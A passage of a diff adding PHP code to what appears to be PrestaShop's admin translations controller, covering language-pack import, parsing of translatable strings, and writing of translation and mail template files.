invalid "%1$s" for the following file: "%2$s"'), $iso_code, $filename); + } + } + + public function submitAddLang() + { + $arr_import_lang = explode('|', Tools::getValue('params_import_language')); /* 0 = Language ISO code, 1 = PS version */ + if (Validate::isLangIsoCode($arr_import_lang[0])) + { + if ($content = Tools::file_get_contents( + 'http://www.prestashop.com/download/lang_packs/gzip/'.$arr_import_lang[1].'/'.$arr_import_lang[0].'.gzip', false, + @stream_context_create(array('http' => array('method' => 'GET', 'timeout' => 5))))) + { + $file = _PS_TRANSLATIONS_DIR_.$arr_import_lang[0].'.gzip'; + if ((bool)@file_put_contents($file, $content)) + { + $gz = new Archive_Tar($file, true); + $files_list = $gz->listContent(); + if ($error = $gz->extract(_PS_TRANSLATIONS_DIR_.'../', false)) + { + if (is_object($error) && !empty($error->message)) + $this->errors[] = Tools::displayError('The archive cannot be extracted.'). ' '.$error->message; + else + { + if (!Language::checkAndAddLanguage($arr_import_lang[0])) + $conf = 20; + else + { + // Reset cache + Language::loadLanguages(); + // Clear smarty modules cache + Tools::clearCache(); + + AdminTranslationsController::checkAndAddMailsFiles($arr_import_lang[0], $files_list); + if ($tab_errors = AdminTranslationsController::addNewTabs($arr_import_lang[0], $files_list)) + $this->errors += $tab_errors; + } + if (!unlink($file)) + $this->errors[] = sprintf(Tools::displayError('Cannot delete the archive %s.'), $file); + + $this->redirect(false, (isset($conf) ? $conf : '15')); + } + } + elseif (!unlink($file)) + $this->errors[] = sprintf(Tools::displayError('Cannot delete the archive %s.'), $file); + } + else + $this->errors[] = Tools::displayError('The server does not have permissions for writing.').' '.sprintf(Tools::displayError('Please check rights for %s'), dirname($file)); + } + else + $this->errors[] = Tools::displayError('Language not found.'); + } + else + $this->errors[] = Tools::displayError('Invalid parameter'); + } + + /** + * This method check each file (tpl or php file), get its sentences to translate, + * compare with posted values and write in iso code translation file. + * + * @param string $file_name + * @param array $files + * @param string $theme_name + * @param string $module_name + * @param string|boolean $dir + * @return void + */ + protected function findAndWriteTranslationsIntoFile($file_name, $files, $theme_name, $module_name, $dir = false) + { + // These static vars allow to use file to write just one time. + static $cache_file = array(); + static $str_write = ''; + static $array_check_duplicate = array(); + + // Set file_name in static var, this allow to open and wright the file just one time + if (!isset($cache_file[$theme_name.'-'.$file_name])) + { + $str_write = ''; + $cache_file[$theme_name.'-'.$file_name] = true; + if (!Tools::file_exists_cache(dirname($file_name))) + mkdir(dirname($file_name), 0777, true); + if (!Tools::file_exists_cache($file_name)) + file_put_contents($file_name, ''); + if (!is_writable($file_name)) + throw new PrestaShopException(sprintf( + Tools::displayError('Cannot write to the theme\'s language file (%s). Please check write permissions.'), + $file_name + )); + + // this string is initialized one time for a file + $str_write .= "<?php\n\nglobal \$_MODULE;\n\$_MODULE = array();\n"; + $array_check_duplicate = array(); + } + + foreach ($files as $file) + { + if (preg_match('/^(.*).(tpl|php)$/', $file) && Tools::file_exists_cache($dir.$file) && !in_array($file, self::$ignore_folder)) + { + // Get content for this file + $content = file_get_contents($dir.$file); + + // Get file type + $type_file = substr($file, -4) == '.tpl' ? 'tpl' : 'php'; + + // Parse this content + $matches = $this->userParseFile($content, $this->type_selected, $type_file); + + // Write each translation on its module file + $template_name = substr(basename($file), 0, -4); + + foreach ($matches as $key) + { + if ($theme_name) + { + $post_key = md5(strtolower($module_name).'_'.strtolower($theme_name).'_'.strtolower($template_name).'_'.md5($key)); + $pattern = '\'<{'.strtolower($module_name).'}'.strtolower($theme_name).'>'.strtolower($template_name).'_'.md5($key).'\''; + } + else + { + $post_key = md5(strtolower($module_name).'_'.strtolower($template_name).'_'.md5($key)); + $pattern = '\'<{'.strtolower($module_name).'}prestashop>'.strtolower($template_name).'_'.md5($key).'\''; + } + + if (array_key_exists($post_key, $_POST) && !empty($_POST[$post_key]) && !in_array($pattern, $array_check_duplicate)) + { + $array_check_duplicate[] = $pattern; + $str_write .= '$_MODULE['.$pattern.'] = \''.pSQL(str_replace(array("\r\n", "\r", "\n"), ' ', $_POST[$post_key])).'\';'."\n"; + $this->total_expression++; + } + } + } + } + + if (isset($cache_file[$theme_name.'-'.$file_name]) && $str_write != "<?php\n\nglobal \$_MODULE;\n\$_MODULE = array();\n") + file_put_contents($file_name, $str_write); + } + + /** + * Clear the list of module file by type (file or directory) + * + * @param $files : list of files + * @param string $type_clear (file|directory) + * @param string $path + * @return array : list of a good files + */ + public function clearModuleFiles($files, $type_clear = 'file', $path = '') + { + // List of directory which not must be parsed + $arr_exclude = array('img', 'js', 'mails'); + + // List of good extention files + $arr_good_ext = array('.tpl', '.php'); + + foreach ($files as $key => $file) + { + if ($file{0} === '.' || in_array(substr($file, 0, strrpos($file, '.')), $this->all_iso_lang)) + unset($files[$key]); + else if ($type_clear === 'file' && !in_array(substr($file, strrpos($file, '.')), $arr_good_ext)) + unset($files[$key]); + else if ($type_clear === 'directory' && (!is_dir($path.$file) || in_array($file, $arr_exclude))) + unset($files[$key]); + } + + return $files; + } + + /** + * This method get translation for each files of a module, + * compare with global $_MODULES array and fill AdminTranslations::modules_translations array + * With key as English sentences and values as their iso code translations. + * + * @param array $files + * @param string $theme_name + * @param string $module_name + * @param string|boolean $dir + * @param string $iso_code + * @return void + */ + protected function findAndFillTranslations($files, $theme_name, $module_name, $dir = false) + { + $name_var = $this->translations_informations[$this->type_selected]['var']; + + // added for compatibility + $GLOBALS[$name_var] = array_change_key_case($GLOBALS[$name_var]); + + // Thank to this var similar keys are not duplicate + // in AndminTranslation::modules_translations array + // see below + $array_check_duplicate = array(); + foreach ($files as $file) + { + if ((preg_match('/^(.*).tpl$/', $file) || preg_match('/^(.*).php$/', $file)) && Tools::file_exists_cache($file_path = $dir.$file)) + { + // Get content for this file + $content = file_get_contents($file_path); + + // Module files can now be ignored by adding this string in a file + if (strpos($content, 'IGNORE_THIS_FILE_FOR_TRANSLATION') !== false) + continue; + + // Get file type + $type_file = substr($file, -4) == '.tpl' ? 'tpl' : 'php'; + + // Parse this content + $matches = $this->userParseFile($content, $this->type_selected, $type_file); + + // Write each translation on its module file + $template_name = substr(basename($file), 0, -4); + + foreach ($matches as $key) + { + $md5_key = md5($key); + $module_key = '<{'.Tools::strtolower($module_name).'}'.strtolower($theme_name).'>'.Tools::strtolower($template_name).'_'.$md5_key; + $default_key = '<{'.Tools::strtolower($module_name).'}prestashop>'.Tools::strtolower($template_name).'_'.$md5_key; + // to avoid duplicate entry + if (!in_array($module_key, $array_check_duplicate)) + { + $array_check_duplicate[] = $module_key; + if (!isset($this->modules_translations[$theme_name][$module_name][$template_name][$key]['trad'])) + $this->total_expression++; + if ($theme_name && array_key_exists($module_key, $GLOBALS[$name_var])) + $this->modules_translations[$theme_name][$module_name][$template_name][$key]['trad'] = html_entity_decode($GLOBALS[$name_var][$module_key], ENT_COMPAT, 'UTF-8'); + elseif (array_key_exists($default_key, $GLOBALS[$name_var])) + $this->modules_translations[$theme_name][$module_name][$template_name][$key]['trad'] = html_entity_decode($GLOBALS[$name_var][$default_key], ENT_COMPAT, 'UTF-8'); + else + { + //d(array($module_key, $default_key, $key, $GLOBALS[$name_var])); + $this->modules_translations[$theme_name][$module_name][$template_name][$key]['trad'] = ''; + $this->missing_translations++; + } + $this->modules_translations[$theme_name][$module_name][$template_name][$key]['use_sprintf'] = $this->checkIfKeyUseSprintf($key); + } + } + } + } + } + + /** + * Get list of files which must be parsed by directory and by type of translations + * + * @return array : list of files by directory + */ + public function getFileToParseByTypeTranslation() + { + $directories = array(); + + switch ($this->type_selected) + { + case 'front': + $directories['tpl'] = array(_PS_ALL_THEMES_DIR_.'/' => scandir(_PS_ALL_THEMES_DIR_)); + self::$ignore_folder[] = 'modules'; + $directories['tpl'] = array_merge($directories['tpl'], $this->listFiles(_PS_THEME_SELECTED_DIR_)); + + if (Tools::file_exists_cache(_PS_THEME_OVERRIDE_DIR_)) + $directories['tpl'] = array_merge($directories['tpl'], $this->listFiles(_PS_THEME_OVERRIDE_DIR_)); + + break; + + case 'back': + $directories = array( + 'php' => array( + _PS_ADMIN_CONTROLLER_DIR_.'/' => scandir(_PS_ADMIN_CONTROLLER_DIR_), + _PS_OVERRIDE_DIR_.'controllers/admin/' => scandir(_PS_OVERRIDE_DIR_.'controllers/admin/'), + _PS_CLASS_DIR_.'helper/' => scandir(_PS_CLASS_DIR_.'helper/'), + _PS_CLASS_DIR_.'controller/' => array('AdminController.php'), + _PS_CLASS_DIR_ => array('PaymentModule.php') + ), + 'tpl' => $this->listFiles(_PS_ADMIN_DIR_.'/themes/'), + 'specific' => array( + _PS_ADMIN_DIR_.'/' => array( + 'header.inc.php', + 'footer.inc.php', + 'index.php', + 'login.php', + 'password.php', + 'functions.php' + ) + ) + ); + + // For translate the template which are overridden + if (file_exists(_PS_OVERRIDE_DIR_.'controllers'.DIRECTORY_SEPARATOR.'admin'.DIRECTORY_SEPARATOR.'templates')) + $directories['tpl'] = array_merge($directories['tpl'], $this->listFiles(_PS_OVERRIDE_DIR_.'controllers'.DIRECTORY_SEPARATOR.'admin'.DIRECTORY_SEPARATOR.'templates')); + + break; + + case 'errors': + $directories['php'] = array( + _PS_ROOT_DIR_.'/' => scandir(_PS_ROOT_DIR_), + _PS_ADMIN_DIR_.'/' => scandir(_PS_ADMIN_DIR_), + _PS_FRONT_CONTROLLER_DIR_ => scandir(_PS_FRONT_CONTROLLER_DIR_), + _PS_ADMIN_CONTROLLER_DIR_ => scandir(_PS_ADMIN_CONTROLLER_DIR_), + _PS_OVERRIDE_DIR_.'controllers/front/' => scandir(_PS_OVERRIDE_DIR_.'controllers/front/'), + _PS_OVERRIDE_DIR_.'controllers/admin/' => scandir(_PS_OVERRIDE_DIR_.'controllers/admin/') + ); + + // Get all files for folders classes/ and override/classes/ recursively + $directories['php'] = array_merge($directories['php'], $this->listFiles(_PS_CLASS_DIR_, array(), 'php')); + $directories['php'] = array_merge($directories['php'], $this->listFiles(_PS_OVERRIDE_DIR_.'classes/', array(), 'php')); + break; + + case 'fields': + $directories['php'] = $this->listFiles(_PS_CLASS_DIR_, array(), 'php'); + break; + + case 'pdf': + $tpl_theme = Tools::file_exists_cache(_PS_THEME_SELECTED_DIR_.'pdf/') ? scandir(_PS_THEME_SELECTED_DIR_.'pdf/') : array(); + $directories = array( + 'php' => array( + _PS_CLASS_DIR_.'pdf/' => scandir(_PS_CLASS_DIR_.'pdf/'), + _PS_OVERRIDE_DIR_.'classes/pdf/' => scandir(_PS_OVERRIDE_DIR_.'classes/pdf/') + ), + 'tpl' => array( + _PS_PDF_DIR_ => scandir(_PS_PDF_DIR_), + _PS_THEME_SELECTED_DIR_.'pdf/' => $tpl_theme + ) + ); + break; + + case 'mails': + $directories['php'] = array( + _PS_FRONT_CONTROLLER_DIR_ => scandir(_PS_FRONT_CONTROLLER_DIR_), + _PS_ADMIN_CONTROLLER_DIR_ => scandir(_PS_ADMIN_CONTROLLER_DIR_), + _PS_OVERRIDE_DIR_.'controllers/front/' => scandir(_PS_OVERRIDE_DIR_.'controllers/front/'), + _PS_OVERRIDE_DIR_.'controllers/admin/' => scandir(_PS_OVERRIDE_DIR_.'controllers/admin/'), + _PS_ADMIN_DIR_.'/' => scandir(_PS_ADMIN_DIR_), + _PS_ADMIN_DIR_.'/tabs/' => scandir(_PS_ADMIN_DIR_.'/tabs') + ); + + // Get all files for folders classes/ and override/classes/ recursively + $directories['php'] = array_merge($directories['php'], $this->listFiles(_PS_CLASS_DIR_, array(), 'php')); + $directories['php'] = array_merge($directories['php'], $this->listFiles(_PS_OVERRIDE_DIR_.'classes/', array(), 'php')); + + $directories['php'] = array_merge($directories['php'], $this->getModulesHasMails()); + break; + + } + + return $directories; + } + + /** + * This method parse a file by type of translation and type file + * + * @param $content + * @param $type_translation : front, back, errors, modules... + * @param string|bool $type_file : (tpl|php) + * @return return $matches + */ + protected function userParseFile($content, $type_translation, $type_file = false) + { + switch ($type_translation) + { + case 'front': + // Parsing file in Front office + $regex = '/\{l\s*s=[\'\"]'._PS_TRANS_PATTERN_.'[\'\"](\s*sprintf=.*)?(\s*js=1)?\s*\}/U'; + break; + + case 'back': + // Parsing file in Back office + if ($type_file == 'php') + $regex = '/this->l\(\''._PS_TRANS_PATTERN_.'\'[\)|\,]/U'; + else if ($type_file == 'specific') + $regex = '/translate\(\''._PS_TRANS_PATTERN_.'\'\)/U'; + else + $regex = '/\{l\s*s\s*=[\'\"]'._PS_TRANS_PATTERN_.'[\'\"](\s*sprintf=.*)?(\s*js=1)?(\s*slashes=1)?\s*\}/U'; + break; + + case 'errors': + // Parsing file for all errors syntax + $regex = '/Tools::displayError\(\''._PS_TRANS_PATTERN_.'\'(,\s*(.+))?\)/U'; + break; + + case 'modules': + // Parsing modules file + if ($type_file == 'php') + $regex = '/->l\(\''._PS_TRANS_PATTERN_.'\'(, ?\'(.+)\')?(, ?(.+))?\)/U'; + else + $regex = '/\{l\s*s=[\'\"]'._PS_TRANS_PATTERN_.'[\'\"](\s*sprintf=.*)?(\s*mod=\'.+\')?(\s*js=1)?\s*\}/U'; + break; + + case 'pdf': + // Parsing PDF file + if ($type_file == 'php') + $regex = '/HTMLTemplate.*::l\(\''._PS_TRANS_PATTERN_.'\'[\)|\,]/U'; + else + $regex = '/\{l\s*s=[\'\"]'._PS_TRANS_PATTERN_.'[\'\"](\s*sprintf=.*)?(\s*js=1)?(\s*pdf=\'true\')?\s*\}/U'; + break; + } + + preg_match_all($regex, $content, $matches); + + return $matches[1]; + } + + /** + * Get all translations informations for all type of translations + * + * array( + * 'type' => array( + * 'name' => string : title for the translation type, + * 'var' => string : name of var for the translation file, + * 'dir' => string : dir of translation file + * 'file' => string : file name of translation file + * ) + * ) + */ + public function getTranslationsInformations() + { + $this->translations_informations = array( + 'front' => array( + 'name' => $this->l('Front Office translations'), + 'var' => '_LANG', + 'dir' => defined('_PS_THEME_SELECTED_DIR_') ? _PS_THEME_SELECTED_DIR_.'lang/' : '', + 'file' => $this->lang_selected->iso_code.'.php' + ), + 'back' => array( + 'name' => $this->l('Back Office translations'), + 'var' => '_LANGADM', + 'dir' => _PS_TRANSLATIONS_DIR_.$this->lang_selected->iso_code.'/', + 'file' => 'admin.php' + ), + 'errors' => array( + 'name' => $this->l('Error message translations'), + 'var' => '_ERRORS', + 'dir' => _PS_TRANSLATIONS_DIR_.$this->lang_selected->iso_code.'/', + 'file' => 'errors.php' + ), + 'fields' => array( + 'name' => $this->l('Field name translations'), + 'var' => '_FIELDS', + 'dir' => _PS_TRANSLATIONS_DIR_.$this->lang_selected->iso_code.'/', + 'file' => 'fields.php' + ), + 'modules' => array( + 'name' => $this->l('Installed modules translations'), + 'var' => '_MODULES', + 'dir' => _PS_MODULE_DIR_, + 'file' => '' + ), + 'pdf' => array( + 'name' => $this->l('PDF translations'), + 'var' => '_LANGPDF', + 'dir' => _PS_TRANSLATIONS_DIR_.$this->lang_selected->iso_code.'/', + 'file' => 'pdf.php' + ), + 'mails' => array( + 'name' => $this->l('Email templates translations'), + 'var' => '_LANGMAIL', + 'dir' => _PS_MAIL_DIR_.$this->lang_selected->iso_code.'/', + 'file' => 'lang.php' + ) + ); + + if (defined('_PS_THEME_SELECTED_DIR_')) + { + $this->translations_informations['modules']['override'] = array('dir' => _PS_THEME_SELECTED_DIR_.'modules/', 'file' => ''); + $this->translations_informations['pdf']['override'] = array('dir' => _PS_THEME_SELECTED_DIR_.'pdf/lang/', 'file' => $this->lang_selected->iso_code.'.php'); + $this->translations_informations['mails']['override'] = array('dir' => _PS_THEME_SELECTED_DIR_.'mails/'.$this->lang_selected->iso_code.'/', 'file' => 'lang.php'); + } + } + + /** + * Get all informations on : languages, theme and the translation type. + */ + public function getInformations() + { + // Get all Languages + $this->languages = Language::getLanguages(false); + + // Get all iso_code of languages + foreach ($this->languages as $language) + $this->all_iso_lang[] = $language['iso_code']; + + // Get all themes + $this->themes = Theme::getThemes(); + + // Get folder name of theme + if (($theme = Tools::getValue('theme')) && !is_array($theme)) + { + $theme_exists = $this->theme_exists($theme); + if (!$theme_exists) + throw new PrestaShopException(sprintf(Tools::displayError('Invalid theme "%s"'), $theme)); + $this->theme_selected = Tools::safeOutput($theme); + } + + // Set the path of selected theme + if ($this->theme_selected) + define('_PS_THEME_SELECTED_DIR_', _PS_ROOT_DIR_.'/themes/'.$this->theme_selected.'/'); + + // Get type of translation + if (($type = Tools::getValue('type')) && !is_array($type)) + $this->type_selected = strtolower(Tools::safeOutput($type)); + + // Get selected language + if (Tools::getValue('lang') || Tools::getValue('iso_code')) + { + $iso_code = Tools::getValue('lang') ? Tools::getValue('lang') : Tools::getValue('iso_code'); + + if (!Validate::isLangIsoCode($iso_code) || !in_array($iso_code, $this->all_iso_lang)) + throw new PrestaShopException(sprintf(Tools::displayError('Invalid iso code "%s"'), $iso_code)); + + $this->lang_selected = new Language((int)Language::getIdByIso($iso_code)); + } + else + $this->lang_selected = new Language((int)Language::getIdByIso('en')); + + // Get all information for translations + $this->getTranslationsInformations(); + } + + + /** + * AdminController::postProcess() override + * @see AdminController::postProcess() + */ + public function postProcess() + { + $this->getInformations(); + + /* PrestaShop demo mode */ + if (_PS_MODE_DEMO_) + { + $this->errors[] = Tools::displayError('This functionality has been disabled.'); + return; + } + /* PrestaShop demo mode */ + + try { + + if (Tools::isSubmit('submitCopyLang')) + { + if ($this->tabAccess['add'] === '1') + $this->submitCopyLang(); + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + else if (Tools::isSubmit('submitExport')) + { + if ($this->tabAccess['add'] === '1') + $this->submitExportLang(); + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + else if (Tools::isSubmit('submitImport')) + { + if ($this->tabAccess['add'] === '1') + $this->submitImportLang(); + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + else if (Tools::isSubmit('submitAddLanguage')) + { + if ($this->tabAccess['add'] === '1') + $this->submitAddLang(); + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + else if (Tools::isSubmit('submitTranslationsFront')) + { + if ($this->tabAccess['edit'] === '1') + $this->writeTranslationFile(); + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + else if (Tools::isSubmit('submitTranslationsPdf')) + { + if ($this->tabAccess['edit'] === '1') + // Only the PrestaShop team should write the translations into the _PS_TRANSLATIONS_DIR_ + if (!$this->theme_selected) + $this->writeTranslationFile(); + else + $this->writeTranslationFile(true); + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + else if (Tools::isSubmit('submitTranslationsBack')) + { + if ($this->tabAccess['edit'] === '1') + $this->writeTranslationFile(); + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + else if (Tools::isSubmit('submitTranslationsErrors')) + { + if ($this->tabAccess['edit'] === '1') + $this->writeTranslationFile(); + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + else if (Tools::isSubmit('submitTranslationsFields')) + { + if ($this->tabAccess['edit'] === '1') + $this->writeTranslationFile(); + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + + } + else if (Tools::isSubmit('submitTranslationsMails') || Tools::isSubmit('submitTranslationsMailsAndStay')) + { + if ($this->tabAccess['edit'] === '1') + $this->submitTranslationsMails(); + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + else if (Tools::isSubmit('submitTranslationsModules')) + { + if ($this->tabAccess['edit'] === '1') + { + // Get list of modules + if ($modules = $this->getListModules()) + { + // Get files of all modules + $arr_files = $this->getAllModuleFiles($modules, null, $this->lang_selected->iso_code, true); + + // Find and write all translation modules files + foreach ($arr_files as $value) + $this->findAndWriteTranslationsIntoFile($value['file_name'], $value['files'], $value['theme'], $value['module'], $value['dir']); + + // Clear modules cache + Tools::clearCache(); + + // Redirect + if (Tools::getValue('submitTranslationsModulesAndStay')) + $this->redirect(true); + else + $this->redirect(); + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + } catch (PrestaShopException $e) { + $this->errors[] = $e->getMessage(); + } + } + + /** + * This method redirect in the translation main page or in the translation page + * + * @param bool $save_and_stay : true if the user has clicked on the button "save and stay" + * @param bool $conf : id of confirmation message + */ + protected function redirect($save_and_stay = false, $conf = false) + { + $conf = !$conf ? 4 : $conf; + $url_base = self::$currentIndex.'&token='.$this->token.'&conf='.$conf; + if ($save_and_stay) + Tools::redirectAdmin($url_base.'&lang='.$this->lang_selected->iso_code.'&type='.$this->type_selected.'&theme='.$this->theme_selected); + else + Tools::redirectAdmin($url_base); + } + + protected function getMailPattern() + { + // Let the indentation like it. + return '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/strict.dtd"> +<html> +<head> + <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> + <title>#title + + + #content + +'; + } + + /** + * This method is used to wright translation for mails. + * This wrights subject translation files + * (in root/mails/lang_choosen/lang.php or root/_PS_THEMES_DIR_/mails/lang_choosen/lang.php) + * and mails files. + */ + protected function submitTranslationsMails() + { + $arr_mail_content = array(); + $arr_mail_path = array(); + + if (Tools::getValue('core_mail')) + { + $arr_mail_content['core_mail'] = Tools::getValue('core_mail'); + + // Get path of directory for find a good path of translation file + if (!$this->theme_selected) + $arr_mail_path['core_mail'] = $this->translations_informations[$this->type_selected]['dir']; + else + $arr_mail_path['core_mail'] = $this->translations_informations[$this->type_selected]['override']['dir']; + } + + if (Tools::getValue('module_mail')) + { + $arr_mail_content['module_mail'] = Tools::getValue('module_mail'); + + // Get path of directory for find a good path of translation file + if (!$this->theme_selected) + $arr_mail_path['module_mail'] = $this->translations_informations['modules']['dir'].'{module}/mails/'.$this->lang_selected->iso_code.'/'; + else + $arr_mail_path['module_mail'] = $this->translations_informations['modules']['override']['dir'].'{module}/mails/'.$this->lang_selected->iso_code.'/'; + } + + // Save each mail content + foreach ($arr_mail_content as $group_name => $all_content) + { + foreach ($all_content as $type_content => $mails) + { + foreach ($mails as $mail_name => $content) + { + + $module_name = false; + $module_name_pipe_pos = stripos($mail_name, '|'); + if ($module_name_pipe_pos) + { + $module_name = substr($mail_name, 0, $module_name_pipe_pos); + if (!Validate::isModuleName($module_name)) + throw new PrestaShopException(sprinf(Tools::displayError('Invalid module name "%s"'), $module_name)); + $mail_name = substr($mail_name, $module_name_pipe_pos + 1); + if (!Validate::isTplName($mail_name)) + throw new PrestaShopException(sprintf(Tools::displayError('Invalid mail name "%s"'), $mail_name)); + } + + if ($type_content == 'html') + { + $content = Tools::htmlentitiesUTF8($content); + $content = htmlspecialchars_decode($content); + // replace correct end of line + $content = str_replace("\r\n", PHP_EOL, $content); + + $title = ''; + if (Tools::getValue('title_'.$group_name.'_'.$mail_name)) + $title = Tools::getValue('title_'.$group_name.'_'.$mail_name); + $string_mail = $this->getMailPattern(); + $content = str_replace(array('#title', '#content'), array($title, $content), $string_mail); + + // Magic Quotes shall... not.. PASS! + if (_PS_MAGIC_QUOTES_GPC_) + $content = stripslashes($content); + } + + if (Validate::isCleanHTML($content)) + { + $path = $arr_mail_path[$group_name]; + if ($module_name) + $path = str_replace('{module}', $module_name, $path); + file_put_contents($path.$mail_name.'.'.$type_content, $content); + } + else + throw new PrestaShopException(Tools::displayError('Your HTML email templates cannot contain JavaScript code.')); + } + } + } + + // Update subjects + $array_subjects = array(); + if (($subjects = Tools::getValue('subject')) && is_array($subjects)) + { + $array_subjects['core_and_modules'] = array('translations'=>array(), 'path'=>$arr_mail_path['core_mail'].'lang.php'); + + foreach ($subjects as $subject_translation) + $array_subjects['core_and_modules']['translations'] = array_merge($array_subjects['core_and_modules']['translations'], $subject_translation); + } + + if (!empty($array_subjects)) + foreach ($array_subjects as $infos) + $this->writeSubjectTranslationFile($infos['translations'], $infos['path']); + + if (Tools::isSubmit('submitTranslationsMailsAndStay')) + $this->redirect(true); + else + $this->redirect(); + } + + /** + * Include file $dir/$file and return the var $var declared in it. + * This create the file if not exists + * + * return array : translations + */ + public function fileExists() + { + $var = $this->translations_informations[$this->type_selected]['var']; + $dir = $this->translations_informations[$this->type_selected]['dir']; + $file = $this->translations_informations[$this->type_selected]['file']; + + $$var = array(); + if (!Tools::file_exists_cache($dir)) + if (!mkdir($dir, 0700)) + throw new PrestaShopException('Directory '.$dir.' cannot be created.'); + if (!Tools::file_exists_cache($dir.DIRECTORY_SEPARATOR.$file)) + if (!file_put_contents($dir.'/'.$file, "")) + throw new PrestaShopException('File "'.$file.'" doesn\'t exists and cannot be created in '.$dir); + if (!is_writable($dir.DIRECTORY_SEPARATOR.$file)) + $this->displayWarning(Tools::displayError('This file must be writable:').' '.$dir.'/'.$file); + include($dir.DIRECTORY_SEPARATOR.$file); + return $$var; + } + + public function displayToggleButton($closed = false) + { + $str_output = ' + + + '; + return $str_output; + } + + protected function displaySubmitButtons($name) + { + return ' + + '; + } + + /** + * Init js variables for translation with google + * + * @return array of variables to assign to the smarty template + */ + public function initAutoTranslate() + { + $this->addJS('http://www.google.com/jsapi'); + $this->addJS(_PS_JS_DIR_.'gg-translate.js'); + $this->addJS(_PS_JS_DIR_.'admin-translations.js'); + + $language_code = Tools::htmlentitiesUTF8(Language::getLanguageCodeByIso(Tools::getValue('lang'))); + return array('language_code' => $language_code, + 'not_available' => addslashes(html_entity_decode($this->l('This language is not available in Google Translate\'s API'), ENT_QUOTES, 'utf-8')), + 'tooltip_title' => addslashes(html_entity_decode($this->l('Google Translate suggests :'), ENT_QUOTES, 'utf-8')) + ); + } + + public function displayLimitPostWarning($count) + { + $return = array(); + if ((ini_get('suhosin.post.max_vars') && ini_get('suhosin.post.max_vars') < $count) || (ini_get('suhosin.request.max_vars') && ini_get('suhosin.request.max_vars') < $count)) + { + $return['error_type'] = 'suhosin'; + $return['post.max_vars'] = ini_get('suhosin.post.max_vars'); + $return['request.max_vars'] = ini_get('suhosin.request.max_vars'); + $return['needed_limit'] = $count + 100; + } + elseif (ini_get('max_input_vars') && ini_get('max_input_vars') < $count) + { + $return['error_type'] = 'conf'; + $return['max_input_vars'] = ini_get('max_input_vars'); + $return['needed_limit'] = $count + 100; + } + return $return; + } + + /** + * Find sentence which use %d, %s, %%, %1$d, %1$s... + * + * @param $key : english sentence + * @return array|bool return list of matches + */ + public function checkIfKeyUseSprintf($key) + { + if (preg_match_all('#(?:%%|%(?:[0-9]+\$)?[+-]?(?:[ 0]|\'.)?-?[0-9]*(?:\.[0-9]+)?[bcdeufFosxX])#', $key, $matches)) + return implode(', ', $matches[0]); + return false; + } + + /** + * This method generate the form for front translations + */ + public function initFormFront() + { + if (!$this->theme_exists(Tools::getValue('theme'))) + { + $this->errors[] = sprintf(Tools::displayError('Invalid theme "%s"'), Tools::getValue('theme')); + return; + } + + $missing_translations_front = array(); + $name_var = $this->translations_informations[$this->type_selected]['var']; + $GLOBALS[$name_var] = $this->fileExists(); + + /* List templates to parse */ + $files_by_directory = $this->getFileToParseByTypeTranslation(); + $count = 0; + $tabs_array = array(); + foreach ($files_by_directory['tpl'] as $dir => $files) + { + $prefix = ''; + if ($dir == _PS_THEME_OVERRIDE_DIR_) + $prefix = 'override_'; + + foreach ($files as $file) + { + if (preg_match('/^(.*).tpl$/', $file) && (Tools::file_exists_cache($file_path = $dir.$file))) + { + $prefix_key = $prefix.substr(basename($file), 0, -4); + $new_lang = array(); + + // Get content for this file + $content = file_get_contents($file_path); + + // Parse this content + $matches = $this->userParseFile($content, $this->type_selected); + + /* Get string translation */ + foreach ($matches as $key) + { + if (empty($key)) + { + $this->errors[] = sprintf($this->l('Empty string found, please edit: "%s"'), $file_path); + $new_lang[$key] = ''; + } + else + { + // Caution ! front has underscore between prefix key and md5, back has not + if (isset($GLOBALS[$name_var][$prefix_key.'_'.md5($key)])) + $new_lang[$key]['trad'] = stripslashes(html_entity_decode($GLOBALS[$name_var][$prefix_key.'_'.md5($key)], ENT_COMPAT, 'UTF-8')); + else + { + if (!isset($new_lang[$key]['trad'])) + { + $new_lang[$key]['trad'] = ''; + if (!isset($missing_translations_front[$prefix_key])) + $missing_translations_front[$prefix_key] = 1; + else + $missing_translations_front[$prefix_key]++; + } + } + $new_lang[$key]['use_sprintf'] = $this->checkIfKeyUseSprintf($key); + } + } + + if (isset($tabs_array[$prefix_key])) + $tabs_array[$prefix_key] = array_merge($tabs_array[$prefix_key], $new_lang); + else + $tabs_array[$prefix_key] = $new_lang; + + $count += count($new_lang); + } + } + } + + $this->tpl_view_vars = array_merge($this->tpl_view_vars, array( + 'missing_translations' => $missing_translations_front, + 'count' => $count, + 'limit_warning' => $this->displayLimitPostWarning($count), + 'tabsArray' => $tabs_array, + )); + + // Add js variables needed for autotranslate + //$this->tpl_view_vars = array_merge($this->tpl_view_vars, $this->initAutoTranslate()); + + $this->initToolbar(); + $this->base_tpl_view = 'translation_form.tpl'; + return parent::renderView(); + } + + /** + * This method generate the form for back translations + */ + public function initFormBack() + { + $name_var = $this->translations_informations[$this->type_selected]['var']; + $GLOBALS[$name_var] = $this->fileExists(); + $missing_translations_back = array(); + + // Get all types of file (PHP, TPL...) and a list of files to parse by folder + $files_per_directory = $this->getFileToParseByTypeTranslation(); + + foreach ($files_per_directory['php'] as $dir => $files) + foreach ($files as $file) + // Check if is a PHP file and if the override file exists + if (preg_match('/^(.*)\.php$/', $file) && Tools::file_exists_cache($file_path = $dir.$file) && !in_array($file, self::$ignore_folder)) + { + $prefix_key = basename($file); + // -4 becomes -14 to remove the ending "Controller.php" from the filename + if (strpos($file, 'Controller.php') !== false) + $prefix_key = basename(substr($file, 0, -14)); + else if (strpos($file, 'Helper') !== false) + $prefix_key = 'Helper'; + + if ($prefix_key == 'Admin') + $prefix_key = 'AdminController'; + + if ($prefix_key == 'PaymentModule.php') + $prefix_key = 'PaymentModule'; + + // Get content for this file + $content = 